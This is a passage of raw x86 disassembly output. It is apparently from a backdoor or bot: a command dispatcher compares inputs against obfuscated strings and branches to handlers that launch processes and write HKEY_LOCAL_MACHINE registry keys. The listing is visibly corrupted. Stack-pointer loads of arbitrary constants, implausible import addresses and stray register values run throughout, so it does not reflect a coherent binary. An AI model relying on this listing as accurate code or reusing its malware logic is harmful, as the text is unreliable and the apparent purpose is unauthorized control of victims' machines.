ptr [esp+98h+var_4], bl call sub_4011F9 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 lea ecx, [ebp+32Ch] call sub_40141A push 0 mov ecx, esi mov ebp, eax call sub_40141A mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_40460A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4018DE add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_401726 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_40442F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_40146F mov eax, 6BCDD8h call sub_401BAE test eax, eax jz short loc_40442F mov bl, 1 jmp short loc_404431 ; --------------------------------------------------------------------------- loc_40442F: ; CODE XREF: sub_404260+1A6j ; sub_404260+1C9j xor bl, bl loc_404431: ; CODE XREF: sub_404260+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_4011F9 test bl, bl jz loc_4045EE push 3DE6ECh lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_401622 push 1EF376h mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012B7 test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_4011F9 test bl, bl jnz loc_40460A push 4F79BBh lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+98h+var_4], 6 call sub_401726 push eax call dword ptr ds:27BCDDh add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_4011F9 test ebp, ebp jz loc_40460A push 20h mov ecx, esi call sub_401BFE lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401CF8 mov ebp, 653DE6h push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401BFE push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401CF8 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_401EAB lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_4011F9 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401E65 push 329EF3h lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_401622 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401CF8 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401E65 lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_4011F9 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_4011F9 mov al, [esp+98h+arg_4] test al, al jnz short loc_4045C7 test ebp, ebp jle short loc_4045D8 loc_4045B8: ; CODE XREF: sub_404260+363j mov ecx, [esp+98h+var_88] push esi call sub_401E1F dec ebp jnz short loc_4045B8 jmp short loc_4045D8 ; --------------------------------------------------------------------------- loc_4045C7: ; CODE XREF: sub_404260+352j test ebp, ebp jle short loc_4045D8 loc_4045CB: ; CODE XREF: sub_404260+376j mov ecx, [esp+98h+var_88] push esi call sub_4013ED dec ebp jnz short loc_4045CB loc_4045D8: ; CODE XREF: sub_404260+356j ; sub_404260+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_4011F9 jmp short loc_40460A ; --------------------------------------------------------------------------- loc_4045EE: ; CODE XREF: sub_404260+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404605 call sub_401E1F jmp short loc_40460A ; --------------------------------------------------------------------------- loc_404605: ; CODE XREF: sub_404260+39Cj call sub_4013ED loc_40460A: ; CODE XREF: sub_404260+162j ; sub_404260+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404260 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404730 proc near ; CODE XREF: sub_401E1Fj arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov esi, 8B29EFh call sub_401479 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jz short loc_404776 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_40146F mov edi, 0E22CA7h call sub_401BAE test eax, eax jnz short loc_404776 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404776: ; CODE XREF: sub_404730+1Dj ; sub_404730+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_40146F mov ebp, 8388B2h call sub_401BAE test eax, eax jnz short loc_4047B6 mov al, [edi+469h] test al, al jz short loc_4047B6 push 0 lea ecx, [esi+2Ah] call sub_40141A cmp byte ptr [eax], 23h jz short loc_4047B6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4047B6: ; CODE XREF: sub_404730+64j ; sub_404730+6Ej ... push esi mov ecx, edi call sub_4013ED pop edi pop esi retn 4 sub_404730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404800 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_401726 push eax mov esi, 8388Bh call sub_401A0F test eax, eax jz short loc_40482A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_40482A: ; CODE XREF: sub_404800+1Cj xor al, al pop esi retn 4 sub_404800 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404840 proc near ; CODE XREF: sub_4017A3j push esi push edi mov edi, ds:dword_4B38D0 mov esi, ecx call edi mov edx, ds:dword_48875F mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_40486F mov ecx, 618388h call sub_401BEA call edi mov ds:dword_48875F, eax loc_40486F: ; CODE XREF: sub_404840+1Cj pop edi mov al, 1 pop esi retn sub_404840 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404890 proc near ; CODE XREF: sub_40170Dj var_168 = dword ptr -168h var_164 = byte ptr -164h var_154 = byte ptr -154h var_150 = byte ptr -150h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_134 = byte ptr -134h var_11C = byte ptr -11Ch var_10C = byte ptr -10Ch var_100 = byte ptr -100h var_F0 = dword ptr -0F0h var_E8 = byte ptr -0E8h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = byte ptr 0Ch arg_C = byte ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push 30C1C4h push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz short loc_404904 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [edi+2E3h] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov esp, 65860Eh call sub_4010FF jmp loc_405295 ; --------------------------------------------------------------------------- loc_404904: ; CODE XREF: sub_404890+40j lea ecx, [edi+0D6Bh] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_404A95 push 1 push 32C307h lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011C2 push 596183h lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_401622 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_401726 push eax call dword ptr ds:6CB0C1h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_4011F9 lea ecx, [esp+178h+var_164] call sub_4013CF push 365860h push 1B2C30h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401B40 push eax lea ecx, [esp+180h+var_14C] call sub_401726 push eax call dword ptr ds:4D9618h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401E65 mov eax, offset dword_453658 xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_401479 push eax push 0 call dword ptr ds:229B2Ch test eax, eax jnz short loc_404A69 lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push 514D96h push ecx push edx mov esp, 254536h call sub_4010FF lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_4011F9 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40528E ; --------------------------------------------------------------------------- loc_404A69: ; CODE XREF: sub_404890+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_4011F9 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_404A95: ; CODE XREF: sub_404890+89j lea ecx, [edi+0B71h] call sub_401479 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_404B44 push 1 push 12A29Bh lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011C2 mov ebx, 812A29h mov [esp+178h+var_4], 3 call sub_401726 push eax lea ecx, [esp+17Ch+var_164] call sub_4012B7 test eax, eax jnz short loc_404B30 mov al, ds:byte_44072E test al, al jz short loc_404B00 push offset dword_489514 mov ecx, 0A244A8h call sub_4013F2 loc_404B00: ; CODE XREF: sub_404890+25Fj mov al, ds:byte_440777 test al, al jz short loc_404B18 push 512254h mov ebp, 6E8912h call sub_40186B loc_404B18: ; CODE XREF: sub_404890+277j mov edx, 0A7E891h call sub_401D20 mov ds:byte_488752, 0 mov ds:byte_499254, 0 loc_404B30: ; CODE XREF: sub_404890+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_40528E ; --------------------------------------------------------------------------- loc_404B44: ; CODE XREF: sub_404890+21Aj lea ecx, [edi+0C57h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz short loc_404B8C lea ecx, [esi+69h] call sub_401479 push eax mov edx, 0ED4FD1h call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov edi, 0EBFA9Fh call sub_4010FF jmp loc_405295 ; --------------------------------------------------------------------------- loc_404B8C: ; CODE XREF: sub_404890+2C9j lea ecx, [edi+0DC7h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_404C49 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4018DE add esp, 2Ch mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1A8h+var_164] push 9 push ecx mov [esp+1B0h+var_4], 4 call sub_4018DE add esp, 38h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_401726 push eax mov ecx, edi call sub_401726 push eax call sub_401262 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_4011F9 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_404C49: ; CODE XREF: sub_404890+311j lea ecx, [edi+0D0Fh] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_404D67 lea ecx, [esp+178h+var_14C] call sub_4013CF push 75FD4Fh lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_401622 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_401726 push eax lea ecx, [esp+17Ch+var_14C] call sub_4019A1 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_4011F9 lea ecx, [esp+178h+var_164] call sub_4013CF push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_401726 push eax push 3AFEA7h push 0 call dword ptr ds:1D7F53h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_401F73 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_401EAB lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+17Ch+var_164] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov edx, 0C9D7F5h call sub_4010FF lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_4011F9 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_40528E ; --------------------------------------------------------------------------- loc_404D67: ; CODE XREF: sub_404890+3CEj lea ecx, [edi+0D99h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz short loc_404D8A mov ds:byte_488752, al mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_404D8A: ; CODE XREF: sub_404890+4ECj lea ecx, [edi+0D3Dh] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_405051 lea ecx, [esp+178h+var_11C] call sub_4013CF push 6CEBFAh lea ecx, [esp+17Ch+var_164] push 1 mov edi, 0EECEBFh push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_401622 push 7F675Fh mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012B7 test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_4011F9 mov al, [esp+178h+var_14D] test al, al jz short loc_404E14 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_40528E ; --------------------------------------------------------------------------- loc_404E14: ; CODE XREF: sub_404890+56Ej push 3FB3AFh lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_401622 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_401726 push eax call dword ptr ds:5FD9D7h lea ecx, [esp+164h+var_150] mov [esp+164h+var_F0], eax mov [esp+164h+arg_C], bl call sub_4011F9 mov eax, [esp+164h+var_F0] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_404EE7 push 2 lea eax, [esp+168h+var_F0] push 4 push eax call dword ptr ds:2FECEBh mov edi, eax test edi, edi jz loc_404FC8 push 17F675h lea ecx, [esp+16Ch+var_154] push 1 push ecx mov ecx, esi call sub_401622 mov edx, [edi] mov ecx, eax push edx mov [esp+16Ch+arg_8], 0Dh call sub_401726 push eax lea eax, [esp+170h+var_10C] push 4BFB3Ah push eax call sub_40102D add esp, 10h lea ecx, [esp+168h+var_154] mov [esp+168h+arg_8], bl call sub_4011F9 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+16Ch+var_10C] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40502E ; --------------------------------------------------------------------------- loc_404EE7: ; CODE XREF: sub_404890+5CAj push 25FD9Dh lea eax, [esp+168h+var_150] push 1 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+164h+arg_C], 0Eh call sub_401726 push eax call dword ptr ds:52FECEh lea ecx, [esp+168h+var_154] mov edi, eax mov [esp+168h+arg_8], bl call sub_4011F9 test edi, edi jz loc_404FC8 mov ecx, [edi+0Ch] push 697F67h lea eax, [esp+16Ch+var_154] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_401622 mov ebp, eax push edi mov [esp+16Ch+arg_8], 0Fh call dword ptr ds:74BFB3h push eax mov ecx, ebp call sub_401726 push eax lea ecx, [esp+170h+var_10C] push 3A5FD9h push ecx call sub_40102D add esp, 10h lea ecx, [esp+168h+var_154] mov [esp+168h+arg_8], bl call sub_4011F9 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+16Ch+var_10C] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov esi, 0A4E97Fh call sub_4010FF lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, bl jmp loc_405295 ; --------------------------------------------------------------------------- loc_404FC8: ; CODE XREF: sub_404890+5E3j ; sub_404890+694j push 5274BFh lea ecx, [esp+16Ch+var_154] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+168h+arg_8], 10h call sub_401726 push eax lea edx, [esp+16Ch+var_10C] push 693A5Fh push edx call sub_40102D add esp, 0Ch lea ecx, [esp+168h+var_154] mov [esp+168h+arg_8], bl call sub_4011F9 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+16Ch+var_10C] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40502E: ; CODE XREF: sub_404890+652j mov edx, 0E5A4E9h call sub_4010FF lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_4011F9 mov al, bl jmp loc_405295 ; --------------------------------------------------------------------------- loc_405051: ; CODE XREF: sub_404890+50Fj lea ecx, [edi+0BCDh] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_405142 lea ecx, [edi+9] call sub_401726 lea edx, [esp+178h+var_164] push eax push edx call sub_401EBF add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov edi, 0E3D693h push 28h push eax mov [esp+190h+var_4], ebx call sub_4018DE add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_401726 push eax mov ecx, esi call sub_401726 push eax push 79EB49h push 7CF5A4h call sub_401CDA add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_40127B mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_401726 push eax push 3E7AD2h push 1F3D69h call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_405142: ; CODE XREF: sub_404890+7D6j lea ecx, [edi+0E23h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_4052B0 push 0F9EB4h lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_401622 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_401384 mov ecx, edi mov ebx, eax call sub_401384 mov ecx, esi lea edi, [ebx+eax+3] call sub_401384 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_4011F9 test bl, bl jnz loc_405293 lea ecx, [esp+178h+var_14C] call sub_4013CF mov ecx, ebp mov [esp+178h+var_4], 15h call sub_401384 add eax, 2 mov ecx, esi push eax call sub_40141A push eax lea ecx, [esp+17Ch+var_14C] call sub_401564 lea ecx, [esp+178h+var_164] call sub_4013CF lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_401726 push eax lea eax, [esp+17Ch+var_164] push 7CF5Ah push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_401726 push eax call ds:dword_43E7AD add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40524A call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push 61F3D6h push ecx push edx jmp short loc_405268 ; --------------------------------------------------------------------------- loc_40524A: ; CODE XREF: sub_404890+99Dj call sub_401479 push eax lea ecx, [esp+16Ch+var_154] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405268: ; CODE XREF: sub_404890+9B8j mov esi, 6387CFh call sub_4010FF lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_4011F9 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40528E: ; CODE XREF: sub_404890+1D4j ; sub_404890+2AFj ... call sub_4011F9 loc_405293: ; CODE XREF: sub_404890+922j ; sub_404890+C70j xor al, al loc_405295: ; CODE XREF: sub_404890+6Fj ; sub_404890+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4052B0: ; CODE XREF: sub_404890+8C7j lea ecx, [edi+0C85h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz short loc_405326 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401DF7 mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_401479 push eax mov ecx, edi call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov esi, 81CE1Fh call sub_4010FF lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, bl jmp loc_405295 ; --------------------------------------------------------------------------- loc_405326: ; CODE XREF: sub_404890+A35j lea ecx, [edi+0CE1h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_405417 push 1 push offset loc_40E70F lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011C2 push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_40127B mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_401726 push eax push 207387h push 1039C3h call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_4011F9 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_4011F9 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4018DE add esp, 18h mov esi, eax mov eax, 0E9039Ch mov [esp+178h+var_4], 1Ah call sub_401726 push eax mov ecx, esi call sub_401726 push eax push 7C81CEh push 3E40E7h call sub_401CDA add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_4011F9 mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_405417: ; CODE XREF: sub_404890+AABj lea ecx, [edi+0CB3h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_4054EB push 5F2073h lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_401726 push eax call dword ptr ds:2F9039h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_4011F9 test ebx, ebx jnz short loc_40547F mov ecx, 84BE40h loc_40547F: ; CODE XREF: sub_404890+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_401875 push offset loc_425F20 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012B7 test eax, eax jz short loc_4054D4 lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+17Ch+var_164] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov esi, 2FC25Fh call sub_4010FF loc_4054D4: ; CODE XREF: sub_404890+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_4011F9 mov al, 1 jmp loc_405295 ; --------------------------------------------------------------------------- loc_4054EB: ; CODE XREF: sub_404890+B9Cj lea ecx, [edi+0DF5h] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_405293 lea ecx, [esp+178h+var_100] call sub_4013CF push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4018DE add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_401726 push eax lea ecx, [esp+17Ch+var_100] call sub_4019A1 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_4011F9 mov edx, 68FF09h or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, ds:dword_4B3770 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 347F84h push eax push 1A3FC2h push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1A0h+var_164] push 1Fh push edx call sub_4018DE add esp, 30h lea ecx, [esp+178h+var_8C] push edi push ecx push 1 push 0 mov ecx, eax mov byte ptr [esp+188h+var_4], 1Fh call sub_401726 mov edx, [esp+188h+var_168] push eax push edx call dword ptr ds:4D1FE1h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_4011F9 mov eax, [esp+178h+var_168] mov edi, ds:dword_4B3778 push eax call edi lea ecx, [esp+178h+var_168] push ecx push 668FF0h push 0 lea ecx, [esp+184h+var_100] call sub_401726 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+19Ch+var_164] push 2Dh push edx call sub_4018DE add esp, 2Ch mov ecx, eax mov byte ptr [esp+178h+var_4], 20h call sub_401726 mov ebp, ds:dword_4B3730 push eax mov eax, [esp+17Ch+var_168] push eax call ebp lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_4011F9 mov ecx, [esp+178h+var_168] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+19Ch+var_164] push 9 push edx call sub_4018DE add esp, 2Ch mov ecx, eax mov byte ptr [esp+178h+var_4], 21h call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4013CF mov bl, 22h push 3347F8h push 19A3FCh lea ecx, [esp+180h+var_134] mov byte ptr [esp+180h+var_4], bl call sub_401B40 push eax call dword ptr ds:4CD1FEh push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea eax, [esp+19Ch+var_164] push 9 push eax call sub_4018DE add esp, 2Ch mov ecx, eax mov byte ptr [esp+178h+var_4], 23h call sub_401726 push eax lea ecx, [esp+17Ch+var_134] call sub_401726 push eax lea ecx, [esp+180h+var_134] push 2668FFh push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4015F5 push eax call dword ptr ds:13347Fh lea edx, [esp+178h+var_168] lea ecx, [esp+178h+var_100] push edx push 99A3Fh push 0 call sub_401726 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 lea eax, [esp+198h+var_164] push 12h push eax call sub_4018DE add esp, 28h mov ecx, eax mov byte ptr [esp+178h+var_4], 24h call sub_401726 mov ecx, [esp+178h+var_168] push eax push ecx call ebp lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 mov edx, [esp+178h+var_168] push edx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 48h push 49h push 12h push 45h push 45h lea eax, [esp+1A8h+var_164] push 9 push eax call sub_4018DE add esp, 38h mov ecx, eax mov byte ptr [esp+178h+var_4], 25h call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 push 4CD1Fh push (offset loc_42668E+1) lea ecx, [esp+180h+var_134] call sub_401B40 push eax call dword ptr ds:613347h push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 48h push 49h push 12h push 